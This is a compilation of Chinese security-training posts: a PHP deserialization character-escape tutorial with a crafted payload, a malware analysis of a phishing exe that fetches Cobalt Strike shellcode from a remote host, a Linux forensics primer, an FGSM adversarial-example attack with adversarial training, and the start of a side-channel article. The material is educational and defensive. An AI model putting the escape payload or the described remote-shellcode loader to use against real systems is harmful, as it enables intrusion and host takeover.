也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}
可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了
实验推荐:https://www.yijinglab.com/expc.do?ce=fedb75c5-f7f4-450e-8b27-40ac4db2a5d9
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
记一次粗浅的钓鱼样本分析过程
0x00 前言
一切的一切要从 (盘古开天辟地) 几个月前的某大型网安活动期间说起。话说当时一位素未谋面的基友给在下发了一个疑似钓鱼的样本,说是让我试试看下能不能溯源出攻击方。于是虽然作为一名萌新,此前也从未接触过类似的工作,但想到既然是基友的请求,那也唯有欣然接受了。不过值得庆幸的是,最后虽然折腾了大半天,而且好像也没帮上什么忙,但与样本分析的初接触过程中,还是学到了不少东西的。唯独可惜的是,由于当时的自己沉迷摸鱼,没有及时把过程记录下来。如今偶然再想起,决定补写一文章——但也只能力求复刻当时的真实情况了。所以如果发现文中一些时间戳对不上的,请自动忽略,个人认为不影响文章的真实性。。。
0x01 投石问路
因为样本是基友直接发给我的,所以样本的发现过程这里按下不表,直奔主题吧。
拿到样本,一个朴实无华的 exe 可执行文件,再看这 exe 的图标更是已经烂大街的了:
于是本着没吃过猪肉也见过猪跑的道理,想起平时摸鱼时也看过不少大佬们做过的免杀和样本分析的文章,先草率地做出了一个最简单的猜想:很可能又是一个使用 rar 自解压制作的钓鱼样本。
于是就草率地先尝试使用 bandzip 打开,发现格式不对:
显然,这样草率的猜想果然是不靠谱的,遂转换思路。
于是又想到,正所谓他山之石可以攻玉,况且自己之前在这方面也几乎零基础,那不妨先扔在线的分析网站跑一波吧,就算只搞到个大概的报告也可以供参考。于是将样本拖进 VT,立等片刻后,得到结果:
只是瞧瞧这多引擎的检测结果,居然还有点小意外?!于是这个情况顿时让我对这个样本又多了几分好奇:看来有机会还是要搞清楚这个样本是怎么制作的呀。再说作为一条有理想的咸鱼,一直这样依赖工具也不是办法,有机会还是要锻炼下自己的动手能力。于是决定为基友献出自己的”第一次“,尝试手动分析下这个样本,顺便看看它这个查杀率是怎么做到的。
0x02 循序渐进
说是手动分析,但一来自己经验不足,二来身边也没有随时可抱大腿的大佬来解疑答惑,那眼前 VT 的分析结果还是要参考下的,起码起到风向标的作用。
VT 分析结果的前面几项都没有什么特别有价值的信息。直至切换到分析结果中的 BEHAVIOR 选项卡,发现样本执行过程释放和加载了一个名为python27.dll 的动态链接库文件:
看到这,作为一名常年网上冲浪、已经将喊666刻进DNA里的资深菜鸡,我的 privilege 又尽数体现了:根据经验,这大概又是一个 PyInstaller 打包的 exe文件。
于是现学现卖,从搜索引擎得知:
PyInstaller 打包的文件可以使用一个名为 pyinstxtractor.py 的 https://link.segmentfault.com/?url=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fpyinstallerextractor%2F 来进行解包反编译得到 pyc 文件
pyc 是 python 源代码执行编译后得到的文件。可使用 uncompyle6 等工具进行反编译,得到最终的 python源码
因此需准备工具有:pyinstxtractor.py)(可github获取)、uncompyle6 (可直接使用 pip install 安装)
有了以上前置知识后,那么依葫芦画瓢——下载脚本并执行: python pyinstxtractor flashplayerpp_install_cn.exe:
幸运的是,过程十分顺利,在当前目录下生成了解压文件夹:
然后,根据资料,在解压目录中找到可疑的 pyc文件,名为 main:
按照剧本,这里的 main 应该就是 main.py 编译之后得到的 pyc 文件。但实际操作中,无论是使用在线反编译工具如 https://link.segmentfault.com/?url=http%3A%2F%2Ftools.bugscaner.com%2Fdecompyle%2F,还是本地的 https://link.segmentfault.com/?url=https%3A%2F%2Fgithub.com%2Frocky%2Fpython-uncompyle6%2F 和 https://link.segmentfault.com/?url=https%3A%2F%2Fsource
根据报错信息不难发现,报错与一个 magic number的概念有关。因此要想继续分析流程,就必须先解决 magic number的问题。
于是继续求助搜索引擎。得到解释如下:
magic number 是 pyc 文件结构的一部分,其位于文件开头的前 4 个字节,代表了 python 的版本信息。
出现 unknown magic number 错误,很可能是制作样本的钓鱼佬对 pyc 文件做了手脚。这种情况在 CTF 中也比较常见
在知道 python 版本的情况下,可通过补全magic number 信息来尝试修复无法还原的 pyc 文件
0x03 原来是虚晃一枪
老实说,看完上面收集回来的信息,我当时的表情就是这样的:
显然,事情到这一步已经超出了一个我这个菜鸡的预期了。
所以说,要半途而废嘛,也不是没想过。。。可气氛都渲染到这里了,不继续下去好像也不太说得过去的样子。。。
于是,本着准备手动修复 magic number 信息的想法, winhex 打开 main.pyc,却惊喜地发现:
main 文件里面的竟然是源码明文?!!
这。。这。。。这是咋回事呢?跟说好的剧本不一样啊。。这样难道不会影响打包的 exe 文件的运行的吗?难道这就是这个样本被查杀率不高的原因?
于是本着知其所以然的心态,本人又围绕这这个问题,尝试找了不少资料。但可惜水平有限,最终也是没找到相应的解释,对此还希望有知道的师傅能指教一二。。。
不过言归正传,既然拿到了 python 的源码,那一切就好办了。。
直接将 main.pyc 改名为 main.py,用 sublime 打开,得到:
简单看了下源码,发现执行的过程如下:
1、is_admin 函数先判断是否为管理员权限,如果不是,则调用 API 请求以管理员身份运行该样本
2、如果当前已经是管理员权限,则执行 NDdFrvsmTh 函数
3、NDdFrvsmTh 函数开辟两个线程,一个线程执行TFZWSTEcc函数下载真正的 flash 安装包到本地执行安装,另一个线程执行TENRWCTE 函数加载 shellcode 使主机上线
4、TFZWSTEcc 函数先从远程地址 https://link.segmentfault.com/?url=https%3A%2F%2Fwww.xxx.us%2Fxxxxxyyyyyyvszzzzz 加载 CS 的shellcode,然后几句 cPickle.loads 分别为 shellcode 的执行分配内存空间、设置执行权限、创建线程并最终执行:
(PS:可能是我愚钝,总之一番概览下来,好像除了从远程加载 shellcode 而不是硬编码到代码中去之外,也没啥特别的。。。?所以至此 VT 的这个 6/64 的查杀率似乎也成了我的一个未解之谜。。 )
同时既然已经知道 shellcode 的远程下载地址,那么可直接尝试获取 shellcode 到本地进行分析。编写了个简单的脚本:
执行后顺利得到 shellcode.bin 文件:
最后简单使用 strings 即可得到 teamserver 的地址:
不过可惜的是,上了CDN:
明显,这种情况,以本人的水平也暂时谈不上什么反制了。最后将自己的分析过程打包给基友后就洗洗睡第二天继续吃瓜去了。。。
0xFF 总结
本文主要记录了本人在对一钓鱼样本进行分析溯源学习时的踩坑经过。整个过程可简单概况为以下几部分:
使用pyinstxtractor 反编译 pyinstaller 打包的exe,得到 pyc 文件
尝试使用 uncompyle6反编译 得到的pyc 文件,进一步得到 python 源码未果
根据 uncompyle6 使用过程中出现的问题,寻找原因和解决办法,尝试手动修复 pyc 文件
尝试修复 pyc 文件时直接发现 python 源码(是资料中未提及过的情况,很惊奇,遂于寻找原因,但未果)
分析 python 源码,得到 teamserver 地址。最后能力有限,不会反制
最后本人技术粗浅,文章措辞轻浮,肯定有许多错漏之处,还望各位大佬大力斧正的同时轻喷。。。
实验推荐:https://www.yijinglab.com/expc.do?ec=ECIDaefb-df77-4f25-8c11-864cf64abe24
Linux系统取证简述
一、电子数据取:
1、什么是取证
电子取证学:为打击网络犯罪而生的电子数据取证,是计算机学科与法学学科交叉的一门学科,涉及到的知识包括计算机软硬件知识体系、网络技术、密码学、通信技术以及法学知识等。
常规取证:有调查取证权的组织或者个人为了查明案件事实的需要,向有关单位或个人依法进行调查和收集证据。
“洛卡德物质交换原理”:“没有真正完美的犯罪,只有未被发现的线索。”
埃德蒙·洛卡德(Edmond Locard,1877~1966)博士是法国著名的法庭科学家和侦查学家,他是个固执的学者,穷其一生都在为犯罪现场中物证的取证和鉴定工作努力着,之所以说他「固执」,是因为他一辈子都坚信着那么一件事:
——犯罪者,必留痕
卡洛德在20世纪初提出了他最著名的物质交换定律。
此理论的核心非常简单:
——「每一个犯罪行为都会留下痕迹」
也就是说:
——只要发生了犯罪行为,就必然会留下相关痕迹,没有所谓「无痕」的犯罪现场。
——哪怕很多犯罪者具有一定的反侦查能力,会刻意的去破坏一些痕迹,但作为代价,这会带来更多的物质交换过程,再次形成各种新的痕迹物证。
形象地说,如果你打我一巴掌,我的脸上会留下你的手印、汗渍、划痕等,而你的手上也会有我的皮肤组织、汗渍等,这样一来通过证据的吻合度是可以判断出究竟是谁打了我
电子数据同样遵循这个原理,网络罪犯也会留下“手印”,但这个痕迹只有专业的取证人员才能看得到。
物质交换原理是电子数据取证的理论基础,而取证就是寻找各种犯罪交换后留下的痕迹作为证据的活动。
电子数据就是电子证据,在取证行业里所说的电子数据,就是指的电子证据。
| 2013年施行的《中华人民共和国刑事诉讼法》第四十七条规定了 "电子数据"为证据的7大类型。
2016年两高一部《关于办理刑事案件收集提取和审查判断电子数据若干问题的规定》(以下简称规定)以定义和列举的方式,对电子数据做了明确规定:电子数据是案件发生过程中形成的,以数字化形式存储、处理、传输的,能够证明案件事实的数据。电子数据包括但不限于下列信息、电子文件:网页、博客、微博客、朋友圈、贴吧、网盘等网络平台发布的信息;手机短信、电子邮件、即时通信、通讯群组等网络应用服务的通信信息;用户注册信息、身份认证信息、电子交易记录、通信记录、登录日志等信息;文档、图片、音视频、数字证书、计算机程序等电子文件。
电子数据取证什么?
电子数据取证就是把数字证据转换为报告形式的过程。
这个转化形式的过程却涉及法律标准、技术手段、工具使用等等多领域复杂的内容,那可不是几句话能说得清楚的
取证过程大致分为:
证据收集--->数据获取--->数据分析--->取证报告
1、收集阶段:
电子数据脆弱性,它很容易被破坏:病毒、删除、覆盖等都会导致电子数据改变和丢失。
2、数据获取阶段:
1. 转储过程是否会改变原始设备上的原始数据?(证据一旦被改变了就没有法律效应了)
2.怎么证明你在转储过程中没有改变任何数据?
解决办法:镜像 和写保护。
3、数据分析阶段
4、报告撰写阶段:形式详细记录下来,尤其是能证明犯罪事实的关键证据
电子数据取证的目的
电子数据取证的终极目标是:为法庭审判提供合法的证据。
为了达到目标,可能用到的手段方法,数据恢复,密码破解等
电子数据取证的重要性
中国网络犯罪占犯罪总是 1/3
每年以 30%以上的速度增长
网络犯罪造成的经济损失每年达7000亿以上
案例
熊猫烧香:
1、硬盘数据:“灰鸽子”、“Sniffer”、“DDOS.EXE”、“网络神偷”、“Web3389”、“日 志清理”等大量黑客网络攻击工具、木马制作,病毒,网络攻击的相关电子书。大量用VB,VC和Dephi编写的病毒和木马源代码:多线程端口,PHP注入,文 件捆绑,隐藏运行,QQ密码截获,IE密码探测等。
五号分区的 Source\Code\Delphi\Wy_Work\目录下,发现“武汉男生”(熊猫烧香)病毒的客户端和服务端程序,同时,在 \Source Code \Delphi\ My_Work\武汉男生进程监控\code目录下发现“武汉男生”的源程序代码文件,截图如下:
2、聊天记录:
3、盗卖账号信息
4、账号登录信息:大量网络游戏(征途、冒险岛等)登录用户名和口令
5、账目信息:“账单文件”记录了2005年到2006年7月的账目信息
二、Linux系统入侵痕迹分析取证
1、基本信息获取
系统信息:
系统版本信息:
uname -a
lsb_version -a
head -n 1 /etc/issue
用户和组信息:
cut -d: -f1 /etc/passwd //查看用户信息
cut -d: -f1 /etc/group //查看用户组信息
网络信息:
ip a show //网络接口信息
ip route //路由信息
ss -tanp //端口信息
iptables -L //防火墙信息
系统运行状态:
任务计划
cat /etc/crontab //查看系统任务计划
/var/spool/cron/USERNAME //用户任务计划
进程信息
ps aux
//a 与终端相关的进程
u 以用户为中心组织进程状态信息显示
x 与终端无光的进程
ps -ef //e 显示所有进程。f显示完整格式程序信息
ps -eFH //F显示完整格式的进行信息 H以进程层级格式显示进程相关信息
top
服务信息
systemctl list-units --type=service //显示所有已启动的服务
systemctl list-units -t service -a //所有开启和关闭的
systemctl list-unit-files -t service -a //服务状态,是否开机启动,static:开机不启动,但是可以被另一个服务激活
/usr/lib/systemd/system //服务目录
2、日志分析
日志的主要用途是系统审计、监测追踪和分析统计。
UNIX/ Linux采用了syslog工具来进行日志记录,所有在主机上发生的事情都会被记录下来不管是好的还是坏的。
syslog:Linux 内核由很多子系统组成包括网络、文件访问、内存管理等。
子系统需要给用户传送一些消息这些消息内容包括消息的来源及其重要性等。所有的子系统都要把消息送到一个可以维护的公用消息区于是就有了 syslog。
syslog 是一个综合的日志记录系统。
它的主要功能:方便日志管理和分类存放日志。
syslog 配置文件:/etc/syslog.conf
三类日志:
系统接入日志:
根据该日志跟踪到谁在何时登录到系统
/var/log/wtmp和/var/run/utmp //telnet、ssh等程序会更新wtmp和utmp文件
进程统计日志:分析系统使用者对系统进行的配置以及对文件进行的操作
pacct或acct
错误日志:
/var/log/messages
常用日志文件:
/var/log/boot.log //该文件记录了系统在引导过程中发生的事件就是Linux系统开机自检过程显示的信息。
/var/log/cron //该日志文件记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID以及派生出的进程的动作.
/var/log/maillog //该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动。它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
/var/log/messages //该日志文件是许多进程日志文件的汇总
/var/log/syslog //RHEL/Centos默认不开启,需要配置,它和/etc/log/messages日志文件不同它只记录警告信息,
该日志文件能记录当用户登录时login记录下的错误口令、Sendmail的问题、su命令执行失败等信息。
/var/log/secure //记录与安全相关的信息,主要是一些和认证、权限使用相关的信息。其是sshd会将所有信息记录[其中包括失败登录]在这里信息
/var/log/lastlog //记录最近成功登录的事件和最后一次不成功的登录事件,只能root执行
/var/log/wtmp //永久记录每个用户登录、注销及系统的启动、停机的事件,该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息
/var/run/utmp //该日志文件记录有关当前登录的每个用户的信息, who、w、users、finger 访问此文件 ,随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录不会为用户保留永久的记录
//以上提及的3个文件/var/log/wtmp、/var/run/utmp、/var/log/lastlog是日志子系统的关键文件,都记录了用户登录的情况。这些文件的所有记录都包含了时间戳。这些文件是按二进制保存。不能用less、cat之类的命令直接查看这些文件,而是需要使用相关命令通过这些文件而查看
每次有一个用户登录时login程序在文件lastlog中查看用户的UID。
如果存在则把用户上次登录、注销时间和主机名写到标准输出中,
然后login程序在lastlog中记录新的登录时间打开utmp文件并插入用户的utmp记录。
该记录一直用到用户登录退出时删除。utmp文件被各种命令使用包括who、w、users和finger。
下一步login程序打开文件wtmp附加用户的utmp记录。当用户登录退出时具有更新时间戳的同一utmp记录附加到文件中。
wtmp文件被程序last使用。
查看日志文件:
绝大多数是文本文件, cat、tac、more、less、tail和 grep进行查看
日志文件的格式:以 /var/log/messages 为例
该文件中每一行表示一个消息而且都由四个域的固定格式组成
时间戳:Timestamp 表示消息发出的日期和时间。
主机名:Hostname 表示生成消息的主机名
生成消息的子系统名称:“Kernel”表示消息来自内核
消息:Message :具体的消息内容
Dec 16 03:32:41 cnetos5 syslogd 1.4.1: restart. // syslog 发出的消息说明了守护进程已经在 xxx 重新启动了
查看非文本格式日志文件:
lastlog :使用 lastlog 命令来检查某特定用户上次登录的时间并格式化输出上次登录日志 /var/log/lastlog 的内容
last:搜索 /var/log/wtmp 来显示自从文件第一次创建以来登录过的用户
lastb:命令搜索 /var/log/btmp 来显示登录未成功的信息
who:查询 wtmp 文件并报告当前登录的每个用户
who /var/log/wtmp //查询历史登录用户
登录日志
二进制日志文件:
1、最近一次日志/var/log/lastlog lastlog //最近一次用户登录的时间记录2、用户登录日志/var/log/wtmp[root@localhost ~]# last - 或[root@localhost ~]# last -f <filename> # 指定输入文件 last -u 用户名显示用户上次登录的情况 last -t 天数显示指定天数之前的用户登录情况。
系统日志
应用日志
apache日志:
/var/log/httpd/access.log #[Apache服务器的客户系统访问记录]/var/log/httpd/error.log #[Apache服务器的所有出错记录]
cups 打印日志:CUPS [ Common Unix Printing System ] 通用UNIX打印系统
/var/log/cups/access_log # 访问日志文件,其中记录了打印机的设置情况,提交的打印作业,以及打印作业的状态记录等信息/var/log/cups/error_log # 默认的日志文件,存储各种错误信息
Samba 服务器日志
> [目录] /var/log/samba[root@localhost ~]# ls /var/log/samba> log.smbd # 其中包含Samba服务器启动以及SMB/CIFS文件与打印共享方面的信息> log.nmbd # 其中包含基于IP协议的NETBIOS网络通信方面的信息> log.sysname # 用于记录特定客户系统的服务请求信息,文件名中的sysname是客户系统的主机名,如 log.winxp
相关实验:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017080314263200001
介绍:详细了解windows,linux电子取证的原理,使用不同的网络取证工具学习取证中的信息收集,协议分析,内存磁盘取证,文件恢复等功能操作
对抗样本攻击及防御实战
#前言
对抗样本大家都耳熟能详了,但是大家可能觉得离自己比较远,毕竟主要是学术界在做这方面的工作,可能还需要很多数学理论基础,所以没有尝试动手实践过。在本文中,不会提及高深的数学理论,唯一的公式也仅是用于形式化描述攻击方案,并不涉及任何数学概念,同时以代码为导向,将论文中提出的方案进行实践,成功实施对抗样本攻击,之后给出了典型的防御方案,即对抗训练,同样也是以实战为导向,证明防御方案的有效性。对抗样本领域的研究正热火朝天,本文提及的攻击和防御方案并不是最优的,希望感兴趣的师傅们看了本文后,能够不再对该领域抱有排斥心理,加入对抗样本的研究队伍中来,为AI安全贡献自己的力量。
#模型搭建及评估
本次我们使用的数据集是Fashion MNIST。Fashion-MNIST是一个替代MNIST手写数字集的图像数据集。 它是由Zalando(一家德国的时尚科技公司)旗下的研究部门提供。其涵盖了来自10种类别的共7万个不同商品的正面图片。Fashion-MNIST的大小、格式和训练集/测试集划分与原始的MNIST完全一致。60000/10000的训练测试数据划分,28x28的灰度图片.
数据集大致如下所示
上图中每一类有3行,10个类别分别是T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat','Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot’
首先加载数据集
我们需要简单的对数据集预处理,给其添加一个channel维度,否则卷积层不能正常工作,还需要将像素值缩放到[0,1]范围
接下来打印出实际加载的样本看看
因为图片是灰度图像,所以输入的shape定义如下
接下来搭建一个CNN模型,架构如下
使用summary方法输出各层的参数状况
设置优化器、损失函数、batch size等超参数
我们再定义一个辅助函数,用于绘出训练过程相关度量指标的变化
接下来开始训练模型
使用前面定义的绘图函数画出模型训练过程的指标的变化情况
评估模型在测试集上的性能
上图打印出的classification report,这个怎么看呢
列表左边的一列为分类的标签名
右边的第一行中,precision recall f1-score三列分别为各个类别的精确度、召回率及F1 值.support是某类别在测试数据中的样本个数;
accuracy表示准确率,也即正确预测样本量与总样本量的比值;macro avg表示宏平均,表示所有类别对应指标的平均值,而weighted avg带权重平均,表示类别样本占总样本的比重与对应指标的乘积的累加和。
从上面的classification report可以看到模型在测试集上的表现还是不错的
而打印出的混淆矩阵如下
混淆矩阵是机器学习中总结分类模型预测结果的情形分析表,以矩阵形式将数据集中的记录按照真实的类别与分类模型预测的类别判断两个标准进行汇总。其中矩阵的行表示真实值,矩阵的列表示预测值。
我们以第一行为例,样本的真实类别为t-shirt,在分类结果里,有862个样本被正确分类,有16个样本被错误分类到pullover,有15个样本被错误分类到dress,有3个样本被错误分类到coat,有96个样本被错误分类到shirt,有8个样本被错误分类到bag
如果只要看有每个类别分别由多少样本被正确分类,则只需要看对角线即可。每一类总共是1000个测试样本,而t-shirt有862个被正确分类,trouser有975个被正确分类,以此类推。从混淆矩阵可以更具体看出测试样本是被错误分到了哪一类。
#对抗样本攻击
对抗样本可能或多或少都有听说过,它是通过对数据集中的样本应用较小但蓄意的会导致最坏情况的扰动而形成的输入,因此,被扰动的输入导致模型以高置信度输出错误的答案。
我们本次来实践最经典的对抗样本攻击方案--FGSM,下面这张图片大家应该都看过,它正是出自于提出FGSM的论文
从熊猫图像开始,攻击者在原始图像上添加小扰动,结果模型将此图像预测为长臂猿。
那么FGSM攻击是如何实现的呢?或者说攻击中添加的扰动是怎么来的呢?
我们知道训练分类模型时,网络基于输入图像学习特征,然后经过softmax层得到分类概率,接着损失函数基于分类概率和真实标签计算损失值,回传损失值并计算梯度(也就是梯度反向传播),最后网络参数基于计算得到的梯度进行更新,网络参数的更新目的是使损失值越来越小,这样模型分类正确的概率也就越来越高。
对抗样本攻击的目的是不修改分类网络的参数,而是通过修改输入图像的像素值使得修改后的图像能够扰乱分类网络的分类,那么根据前面提到的分类模型的训练过程,可以将损失值回传到输入图像并计算梯度,也就是下式
其中, θ 是模型的参数,x 是模型的输入,y 是与 x 关联的类别,J (θ, x, y) 是用于训练神经网络的损失函数。
接下来可以通过sign()函数计算梯度的方向,sign()函数是用来求数值符号的函数,比如对于大于0的输入,输出为1, 对于小于0的输入,输出为-1,对于等于0的输入,输出为0。之所以采用梯度方向而不是采用梯度值是为了控制扰动的距离.
常规的分类模型训练在更新参数时都是将参数减去计算得到的梯度,这样就能使得损失值越来越小,从而模型预测对的概率越来越大。既然对抗攻击是希望模型将输入图像错分类成错误类别,那么要求损失值越来越大,也就是模型预测的概率中对应于真实标签的概率越小越好,这和原来的参数更新目的正好相反。因此只需要在输入图像中加上计算得到的梯度方向,这样修改后的图像经过分类网络时的损失值就比修改前的图像经过分类网络时的损失值要大,换句话说,模型预测对的概率变小了。此外我们还需要用来控制扰动的程度,确保扰动足够小。所以,扰动的式子如下
将扰动加到原样本上就得到了对抗样本,如下所以
我们将这称为生成对抗样本的fast gradient sign method(快速梯度符号方法)。
对应的代码实现如下
应用以上函数,我们来看看对coat样本的攻击前后的结果
从可视化的结果可以看到,左边是原样本,以真实标签为coat,模型以较高的置信度将其预测为coat,中间是添加的对抗扰动,加上之后就得到了右边的对抗样本,其被模型错误预测为了pullover,说米我们攻击成功了。
查看对sneaker的攻击前后结果
同样攻击成功了,对于其他测试集样本生成的对抗样本同样可以攻击成功。
接下来我们来进行对抗训练,提升模型的鲁棒性
为了更全面的衡量模型在面对对抗样本攻击时有多么容易受到攻击,我们可以针对测试数据应用FGSM生成对应的对抗样本测试集
通过打印classification report和混淆矩阵来评估模型在面对对抗样本攻击时的鲁棒性
可以看到整体的指标都是较低的,说明模型面对对抗样本攻击的鲁棒性较弱
接下来我们通过对抗训练的方法增强模型的鲁棒性
#对抗训练
在实践之前,先来介绍对抗训练的概念。
对抗训练(Adversarial Training)最初由 Ian Goodfellow 等人提出,作为一种防御对抗攻击的方法,其思路非常简单直接,将生成的对抗样本加入到训练集中去,做一个数据增强,让模型在训练的时候就先学习一遍对抗样本。
对抗训练实际上是一个min-max优化问题,寻找一个模型(以参数表示),使得其能够正确分类扰动在一定范围S内的对抗样本,即
其中(x,y)表示原始数据和对应的标签,D表示数据的分布,L是损失函数
内层(中括号内)是一个最大化,L则表示在样本x上叠加一个扰动,再经过神经网络函数,与标签y比较得到的损失。 max L是优化目标,即寻找使损失函数最大的扰动,简单来讲就是添加的扰动要尽量让神经网络迷惑。外层就是对神经网络进行优化的最小化公式,即当扰动固定的情况下,我们训练神经网络模型使得在训练数据上的损失最小,也就是说,使模型具有一定的鲁棒性能够适应这种扰动。
接下来我们来看实际中对抗训练是怎么做到提升模型鲁棒性的
首先将同样的方法应用于训练集,生成原训练集的一批对抗样本,作为对抗样本训练集,并将对抗样本训练集和原来的训练集合在一起作为最终的训练集
开始在最终的训练集上训练模型
训练过程中的指标变化如下
如此,就完成了对抗训练
那么怎么对抗训练得到的模型的好坏呢?
首先要看该模型在正常的测试集上的性能,毕竟大多数测试样本都是正常的,这才是训练模型最主要的任务,即需要在正常的测试样本面前表现好
可以看到性能还是不错的
另外还要看模型在接收对抗样本时的性能,毕竟这是对抗训练相比一般训练最主要的目的所在,就是为了在面对对抗样本时,不会被其欺骗
从结果可以看到,模型在面对对抗样本时表现非常好
直接看这些指标不具体的话,我们可以从10类样本中各打印一个样本的对抗样本,并查看模型对其分类结果
从结果可以看到,10个对抗样本都被模型正确分类了,说明模型的鲁棒性较好,表明了对抗训练的有效性。
实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c
#参考
1.EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES
2.ADVERSARIAL TRAINING METHODS FOR SEMI-SUPERVISED TEXT CLASSIFICATION
3.Towards Deep Learning Models Resistant to Adversarial Attacks
4.https://zhuanlan.zhihu.com/p/104040055
5.https://zhuanlan.zhihu.com/p/166364358
6.https://github.com/1Konny/FGSM
7.https://github.com/ndb796/Pytorch-Adversarial-Training-CIFAR
8.https://github.com/zjfheart/Friendly-Adversarial-Training
如果我解题很优秀,下个七夕身边会有他/她吗
*开幕灵魂拷问:你有对象吗?*
有的话看这里:
好了有对象的可以走了,单身的留一下,我再讲两点。
都说搞安全的头发少还没对象,那么跟着看下来的一定还有99.99%。
恰逢七夕,说什么都得送大伙儿一份礼物。请看:↓
每周五固定节目又来了!倍受期待的《Weekly CTF》系列之<第二十六周 | Ez_unserialize>它在同一时间又见面了,这是一个免费的课程且每周有更新,大家可以多多关注。
没想到吧情人节蚁景网安室送的礼物是一道题!像不像暑假玩得正嗨的你被贴心好友送了一本《开心暑假》,往年情人节我们还送过实验,也送过双倍积分……我这个渣男怎么样,送礼一套一套的还不重样。
最后让我们回到找对象的主题,大家都知道解题有方法只是时间问题,但心仪对象的心能不能解开这个真的是谜。首先这句话的前一段我不信,要不我给你一道数学题?物理题也行。
解题只会得到答案,但在解题的过程中你会收获知识,从而变得更优秀。优秀的人都是相互吸引的,当你从不断地学习中获得进步,即使你初次心动的人没有和你在一起,你也会遇到跟现在优秀的你一起并肩的人。
本周的CTF练习题是反序列化方向的,结合实验描述给出的线索,开启变优秀之路吧!期待你们的精彩表现,率先做出来的也可以自己发布writeup或者解题视频,万一被官方看上说不定有小惊喜奖励呢!假如你真的解不出来或者对前面的CTF题感兴趣,我可以偷偷告诉你上B站搜关键字有惊喜发现噢~
下周我们同一时间见!下个七夕我们都会有对象的!
链接直达:https://www.yijinglab.com/expc.do?ec=ECID1fab-e5bd-473c-92b7-768737c0d4ee
深度学习赋能侧信道攻击实战
#前言
这是IoT的时代,这也是AI的时代。
在IoT时代,针对IoT设备上的密码芯片进行侧信道分析是极其活跃的领域,是研究IoT安全至关重要的一环。在AI时代,目前引领AI第三次复兴的技术便是深度学习。将侧信道与深度学习相结合会有什么效果,本文对此进行了尝试。
侧信道分析部分,思路是根据power trace(能耗轨迹),从运行在ARM CPU上的AES算法实现中恢复AES密钥。在深度学习则是赋能于侧信道分析,我们将power trace处理后的数据集作为深度学习系统的输入,训练神经网络,使其预测key字节,作为输出。
下文中我们会首先介绍AES、侧信道分析、深度学习等前置知识,然后以实战为导向实现对16字节密钥的恢复。
#AES
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。现在,高级加密标准已然成为对称密钥加密中最流行的算法之一。
AES的区块长度固定为128比特,密钥长度则可以是128,192或256比特;而Rijndael使用的密钥和区块长度均可以是128,192或256比特.(本文就是针对密钥长度为128比特(16字节)的AES实现进行攻击)。
大多数AES计算是在一个特别的有限域完成的。
AES加密过程是在一个4×4的字节矩阵上运作,这个矩阵又称为“体(state)”,其初值就是一个明文区块(矩阵中一个元素大小就是明文区块中的一个Byte)。(Rijndael加密法因支持更大的区块,其矩阵的“列数(Row number)”可视情况增加)加密时,各轮AES加密循环(除最后一轮外)均包含4个步骤:
AddRoundKey—矩阵中的每一个字节都与该次回合密钥(round key)做XOR运算;每个子密钥由密钥生成方案产生。
SubBytes—透过一个非线性的替换函数,用查找表的方式把每个字节替换成对应的字节。
ShiftRows—将矩阵中的每个横列进行循环式移位。
MixColumns—为了充分混合矩阵中各个直行的操作。这个步骤使用线性转换来混合每内联的四个字节。最后一个加密循环中省略MixColumns步骤,而以另一个AddRoundKey取代。
#侧信道攻击
